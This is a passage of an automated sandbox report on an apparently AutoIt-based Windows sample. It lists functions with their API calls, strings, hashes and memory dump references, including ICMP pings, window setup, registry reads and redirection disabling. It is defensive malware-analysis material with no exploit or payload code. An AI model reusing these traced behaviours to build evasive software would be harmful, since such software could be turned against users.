Part of subcall function 00AE3624: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00AE36BF
Part of subcall function 00AE3624: LoadIconW.USER32(000000A9), ref: 00AE36D5
Part of subcall function 00AE3624: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00AE36E4

Strings

0, xrefs: 00AE355F
#, xrefs: 00AE3566
AutoIt v3, xrefs: 00AE357F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 3a5975f5b81bf02b3201b9c4be5b38a826d88c1f82fcc4478b4c620dfb17d17b
Instruction ID: 482f51e3d45351ceb790f6880b0e054f3e7fd8e06d6b17a3c7bcc274ed3a6f66
Opcode Fuzzy Hash: 3a5975f5b81bf02b3201b9c4be5b38a826d88c1f82fcc4478b4c620dfb17d17b
Instruction Fuzzy Hash: 53214F71D00354AFDB109FA5EC45BAABFF4FB08750F00451AE608A72A0CBF91985CF98

Function 00B60FB8 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 00B61019
inet_addr.WSOCK32(?), ref: 00B61079
gethostbyname.WS2_32(?), ref: 00B61085
IcmpCreateFile.IPHLPAPI ref: 00B61093
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00B61123
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00B61142
IcmpCloseHandle.IPHLPAPI(?), ref: 00B61216
WSACleanup.WSOCK32 ref: 00B6121C

Strings

Ping, xrefs: 00B610D3

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 7ef0e916ba9fcc7c08caebad25bfd8b33fd75c24daf4f942a813faf395268578
Instruction ID: a81a6983d8f021b72f30a52566297147b7d983ec5e7fdfa4433d1b4b5b14d6d9
Opcode Fuzzy Hash: 7ef0e916ba9fcc7c08caebad25bfd8b33fd75c24daf4f942a813faf395268578
Instruction Fuzzy Hash: 9C91BF316042419FD720DF29C889B16BBE0FF45318F1889A9F5699B6A2C739ED81CB81

Function 00AE370F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00AE3709,?,?), ref: 00AE3777
KillTimer.USER32(?,00000001,?,?,?,?,?,00AE3709,?,?), ref: 00AE37A3
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00AE37C6
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00AE3709,?,?), ref: 00AE37D1
CreatePopupMenu.USER32 ref: 00AE37E5
PostQuitMessage.USER32(00000000), ref: 00AE3806

Strings

TaskbarCreated, xrefs: 00AE37CC

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 879e09f2f4cdd3903aefa8078d181995903465967fc3efe7ff4b2ca3c6c6a29d
Instruction ID: bc6b33168be31a4051e9d906db9eb6cd9d1b213aa8072b17c60fd5dd0d936884
Opcode Fuzzy Hash: 879e09f2f4cdd3903aefa8078d181995903465967fc3efe7ff4b2ca3c6c6a29d
Instruction Fuzzy Hash: AE41E2F3604184BBDF14AB6A9D5DBB93BF5EB04300F000225F50987291CEF59F448761

Function 00B190C5 Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07a0b31bbbb9b7a418a2d14c736ed821ee662d47d13ce1d15d33f271591578ab
Instruction ID: e7d6baa7e8e3636a0e5b00dbb002540cb0159573f14b8fb40ee979e310581773
Opcode Fuzzy Hash: 07a0b31bbbb9b7a418a2d14c736ed821ee662d47d13ce1d15d33f271591578ab
Instruction Fuzzy Hash: EBC1D270A04289AFDB21DFA8D865BED7BF0AF09310F9401D8E524A73D2C7319982CB61

Function 00AFAC3E Relevance: 12.9, APIs: 1, Strings: 6, Instructions: 671
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d0b, xrefs: 00AFAC96, 00AFAD10, 00AFAEA7
d1b, xrefs: 00AFAD55, 00AFAE8E
d5m0, xrefs: 00AFAE75
d10m0, xrefs: 00AFACF0
i, xrefs: 00AFB0A3
d1r0,2, xrefs: 00AFACA9

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID: d0b$d10m0$d1b$d1r0,2$d5m0$i
API String ID: 0-4285391669
Opcode ID: ebacda7c807afdd0ef147cf643b7380e83672367345ee5e42fe0435746e80679
Instruction ID: 5e7e78a99946362ffdcd9bb6013d57748728836350bd3183d0efe6f77d2b3576
Opcode Fuzzy Hash: ebacda7c807afdd0ef147cf643b7380e83672367345ee5e42fe0435746e80679
Instruction Fuzzy Hash: 84624471508385CFC724DF24C185AAABBF0FF88344F108AAEE5998B351DB71E945CB92

Function 00AE35B3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00AE35E1
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00AE3602
ShowWindow.USER32(00000000,?,?,?,?,?,?,00AE3368,?), ref: 00AE3616
ShowWindow.USER32(00000000,?,?,?,?,?,?,00AE3368,?), ref: 00AE361F

Strings

AutoIt v3, xrefs: 00AE35D9, 00AE35DE, 00AE35DF
edit, xrefs: 00AE35FC

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: a621ba308ac320206cf25ff12844895fbb6fac0dc0aa17659726992fc4c79418
Instruction ID: a3d5f92b64736efc6ed60bb771843a7c448f858c25ed8196104ac304aed6086b
Opcode Fuzzy Hash: a621ba308ac320206cf25ff12844895fbb6fac0dc0aa17659726992fc4c79418
Instruction Fuzzy Hash: 46F03A716002947FE7310713AC08E373EFDEBC6F50B04051EBA08AB1A0CAA91881DAB4

Function 00AE663E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00AE668B,?,?,00AE62FA,?,00000001,?,?,00000000), ref: 00AE664A
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00AE665C
FreeLibrary.KERNEL32(00000000,?,?,00AE668B,?,?,00AE62FA,?,00000001,?,?,00000000), ref: 00AE666E

Strings

Wow64DisableWow64FsRedirection, xrefs: 00AE6656
kernel32.dll, xrefs: 00AE6642

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: e907b3503322e40cf9dd470812378bc6103b4aad027e01fadd362419d1b942c5
Instruction ID: b4f4cf396b84842c1b4c1868aef458e38d3c5c134f53f38a5d2f0052679707c2
Opcode Fuzzy Hash: e907b3503322e40cf9dd470812378bc6103b4aad027e01fadd362419d1b942c5
Instruction Fuzzy Hash: 26E0C236A1666217D2222736BC0CBAE66B99FE2FE2F050215FC08F3210DFA0CC4185E5

Function 00AE61A9 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00B25287

Part of subcall function 00AE8577: _wcslen.LIBCMT ref: 00AE858A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00AE6299

Strings

AutoIt - , xrefs: 00AE620D
Line %d: , xrefs: 00B25305

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line %d: $AutoIt -
API String ID: 2289894680-4094128768
Opcode ID: deaeb59a16904b0d7fb08e38925b3bb466179411e5e716d592d09db25d5086b1
Instruction ID: 16c791640beb85c31ad4e151c778ccda554ef494a7b3a93634be51b25b7f5b1f
Opcode Fuzzy Hash: deaeb59a16904b0d7fb08e38925b3bb466179411e5e716d592d09db25d5086b1
Instruction Fuzzy Hash: 1341C171408344AEC321EB61EC45AEF7BECAF54360F004A2EF599830A1EF74D649C796

Function 00AE58CB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00AE58BE,SwapMouseButtons,00000004,?), ref: 00AE58EF
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00AE58BE,SwapMouseButtons,00000004,?), ref: 00AE5910
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00AE58BE,SwapMouseButtons,00000004,?), ref: 00AE5932

Strings

Control Panel\Mouse, xrefs: 00AE58ED

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 45eb8ce17c9c6b41a69535b8244107d1f189d173f392348e68749e297990b49c
Instruction ID: 4fd8aa884ccf6cd151ef48ae9ce283b1dcd11b522572bcbb0d68da1f493932ce
Opcode Fuzzy Hash: 45eb8ce17c9c6b41a69535b8244107d1f189d173f392348e68749e297990b49c
Instruction Fuzzy Hash: F4117C75910658FFDB218F65EC80DEE77B8EF01764F104419F805E7210E6319E4197A0

Function 00AEF6D0 Relevance: 6.7, APIs: 2, Strings: 1, Instructions: 1414COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00B348C6

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: 3e4d3030937d1bef2234f2eab299eca6500354d8facec9bb9e4f8534b8f23d3d
Instruction ID: df6d78dcdfb09045eccab2983e3543dca7d8b940e4d9a396da2d1ab6fa2d02e0
Opcode Fuzzy Hash: 3e4d3030937d1bef2234f2eab299eca6500354d8facec9bb9e4f8534b8f23d3d
Instruction Fuzzy Hash: 70C27871A00249DFCB24DF99C880BAEB7F1FF19710F2481A9E945AB392D775AD41CB90

Function 00AF0340 Relevance: 5.7, APIs: 3, Instructions: 1236COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00AF15F2

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 22a59d716aeac685d11459b95b6e450c8cf9d08755316b37d9bff920a6283958
Instruction ID: 4e0f6fd4f6cab9c0e0c76519a68ece7ddf1f9c7bfe90b8265fc20fbf42f18a42
Opcode Fuzzy Hash: 22a59d716aeac685d11459b95b6e450c8cf9d08755316b37d9bff920a6283958
Instruction Fuzzy Hash: 3DB25674A08345CFCB24DF58C480A3AB7F1BB99700F64899DFA859B392D771E941CB92

Function 00B0014B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00B009D8

Part of subcall function 00B03614: RaiseException.KERNEL32(?,?,?,00B009FA,?,00000000,?,?,?,?,?,?,00B009FA,00000000,00BA9758,00000000), ref: 00B03674

__CxxThrowException@8.LIBVCRUNTIME ref: 00B009F5

Strings

Unknown exception, xrefs: 00B00A02

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 379a3685636a22b0f041ac6d3811c8279859f72ba76082bdf9d19c1b334c4d38
Instruction ID: 6eb332cb0e99ce0c09d5a3f5b9b33e4e36ca95561070d304e5005b769827c61b
Opcode Fuzzy Hash: 379a3685636a22b0f041ac6d3811c8279859f72ba76082bdf9d19c1b334c4d38
Instruction Fuzzy Hash: C7F0F63492420DB7CB00BAA8EC46E9E7FEC9E01750F6041F1B924A65F2FB71EA15C6D0

Function 00B689B6 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 00B68D52
TerminateProcess.KERNEL32(00000000), ref: 00B68D59
FreeLibrary.KERNEL32(?,?,?,?), ref: 00B68F3A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Process$CurrentFreeLibraryTerminate
String ID:
API String ID: 146820519-0
Opcode ID: 423db76ae9ffe8e13b28b8d84bd8627c3c28be569ad37d79a3519006fddbdc02
Instruction ID: 780ad9c409e7322428f2636eaf9f4ac110b0b2aa5c6a5a5ca67afd1c906fabdc
Opcode Fuzzy Hash: 423db76ae9ffe8e13b28b8d84bd8627c3c28be569ad37d79a3519006fddbdc02
Instruction Fuzzy Hash: AF125A71A083419FC714DF28C484B2ABBE5FF88314F14899DE8899B292DB75ED45CB92

Function 00AE2793 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE327E: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00AE32AF
Part of subcall function 00AE327E: MapVirtualKeyW.USER32(00000010,00000000), ref: 00AE32B7
Part of subcall function 00AE327E: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00AE32C2
Part of subcall function 00AE327E: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00AE32CD
Part of subcall function 00AE327E: MapVirtualKeyW.USER32(00000011,00000000), ref: 00AE32D5
Part of subcall function 00AE327E: MapVirtualKeyW.USER32(00000012,00000000), ref: 00AE32DD

Part of subcall function 00AE3205: RegisterWindowMessageW.USER32(00000004,?,00AE2964), ref: 00AE325D

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00AE2A0A
OleInitialize.OLE32 ref: 00AE2A28
CloseHandle.KERNEL32(00000000,00000000), ref: 00B23A0D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: fc61272c8a3a5640e2ba9e8dcc8d292c6ab87b62c177dd2bd23f5c9582fa2920
Instruction ID: 6ba4fc60cf979fe23ae0a043933271d281e7a85c5b8200b9ddb421c26ca53f18
Opcode Fuzzy Hash: fc61272c8a3a5640e2ba9e8dcc8d292c6ab87b62c177dd2bd23f5c9582fa2920
Instruction Fuzzy Hash: 66719BB19112408FD7A8EF7AAE696663BE0BB68344340876AE519C7371EFF09441CF64

Function 00AFFCAD Relevance: 4.6, APIs: 3, Instructions: 75timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE61A9: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00AE6299

KillTimer.USER32(?,00000001,?,?), ref: 00AFFD36
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00AFFD45
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00B3FE33

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 65777d86cb6b73457a604008a45d44b2c7377bd358c9ba304a30821f4f417254
Instruction ID: e6d91a879a60edad537ff366a35260f4a3d44e83728e3d464fd4d87d60874119
Opcode Fuzzy Hash: 65777d86cb6b73457a604008a45d44b2c7377bd358c9ba304a30821f4f417254
Instruction Fuzzy Hash: 3C316471904354AFEB328F24C895BE6BBEC9F16308F1004AEE69A97242D7745A85CB51

Function 00B18A2E Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,?,00B1894C,?,00BA9CE8,0000000C), ref: 00B18A84
GetLastError.KERNEL32(?,00B1894C,?,00BA9CE8,0000000C), ref: 00B18A8E
__dosmaperr.LIBCMT ref: 00B18AB9

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 650b005a190e69720a4cbff757b0483bf7df7357a78e59300471b2a85f5bc98c
Instruction ID: 4f1b3bd7f5798b269e883b755b4ce8d1c9044f289224a178111a7bedf1c798f3
Opcode Fuzzy Hash: 650b005a190e69720a4cbff757b0483bf7df7357a78e59300471b2a85f5bc98c
Instruction Fuzzy Hash: DC0104326251609BC6346234A886BFE67C9EFC2734FA902DAF8189B1D2DF718DC18590

Function 00B1970B Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,1875FF1C,1875FF1C,?,00B197BA,FF8BC369,00000000,00000002,00000000), ref: 00B19744
GetLastError.KERNEL32(?,00B197BA,FF8BC369,00000000,00000002,00000000,?,00B15ED4,00000000,00000000,00000000,00000002,00000000,FF8BC369,00000000,00B06F41), ref: 00B1974E
__dosmaperr.LIBCMT ref: 00B19755

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
